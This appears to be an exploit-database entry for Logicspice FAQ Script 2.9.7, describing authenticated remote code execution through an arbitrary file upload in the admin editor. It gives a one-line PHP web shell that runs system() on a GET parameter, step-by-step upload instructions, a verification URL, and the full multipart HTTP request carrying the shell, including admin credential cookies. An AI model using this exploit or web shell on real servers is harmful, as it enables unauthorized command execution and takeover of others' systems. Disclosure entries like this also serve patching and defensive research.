56 lines
No EOL
2.2 KiB
Text
56 lines
No EOL
2.2 KiB
Text
# Exploit Title: Logicspice FAQ Script 2.9.7 - Remote Code Execution
|
|
# Dork: N/A
|
|
# Date: 2018-09-03
|
|
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
|
|
# Vendor Homepage: https://www.logicspice.com/products/faq-script
|
|
# Software Link: https://www.logicspice.com/app/webroot/files/document/phpmyfaq-2.9.7.zip
|
|
# Version: 2.9.7
|
|
# Category: Webapps
|
|
# Tested on: Kali linux
|
|
|
|
# Description : Logicspice FAQ Script 2.9.7 allows to upload arbitrary files which
|
|
# leads to a remote command execution on the remote server.
|
|
|
|
# 1) Create a file with the below PHP code and save it as .php
|
|
|
|
<?php $cmd=$_GET['cmd']; system($cmd); ?>
|
|
|
|
# 2) Login to FAQ Script admin portal as priviliage user
|
|
# 3) At the left hand side go to Manage FAQ --> List FAQ (http://domain/admin/faqs)
|
|
# 4) Click at the Actions button of a current FAQ product --> Edit
|
|
# 5) Click (Image) button on Content panel.
|
|
# 6) Chose Upload section and browse your .php file.
|
|
# 7) Finaly click "Send it to Server". Script will give you a link belong to
|
|
# our php file.
|
|
# 8) verift the exploit:
|
|
# http://domain/webroot/files/uploadimages/e90a3_shell.php?cmd=id
|
|
|
|
# The request:
|
|
|
|
POST
|
|
/admin/faqs/faqimages?CKEditor=faqs-answer&CKEditorFuncNum=1&langCode=en
|
|
HTTP/1.1
|
|
Host: server
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
|
|
Firefox/52.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer:
|
|
http://server/admin/faqs/edit/eine-frage-fuer-onkel-peter
|
|
Cookie: __asc=3c88bfff1659e6148e6168c52d2;
|
|
__auc=3c88bfff1659e6148e6168c52d2; _ga=GA1.2.696297698.1535960501;
|
|
_gid=GA1.2.2097449566.1535960501; __zlcmid=oDhc8xpdUQvf8W;
|
|
admin_username=logicspice; admin_password=faqscript_admin;
|
|
CAKEPHP=omckos7rsug4u3e1k3uebi7ma5; PHPSESSID=be29d40p12q20gtpvlea8esp23
|
|
Connection: keep-alive
|
|
Upgrade-Insecure-Requests: 1
|
|
Content-Type: multipart/form-data;
|
|
boundary=---------------------------1036720403269880351068202740
|
|
Content-Length: 267
|
|
-----------------------------1036720403269880351068202740
|
|
Content-Disposition: form-data; name="upload"; filename="shell.php"
|
|
Content-Type: application/x-php
|
|
|
|
<?php $cmd=$_GET['cmd']; system($cmd); ?>
|
|
-----------------------------1036720403269880351068202740-- |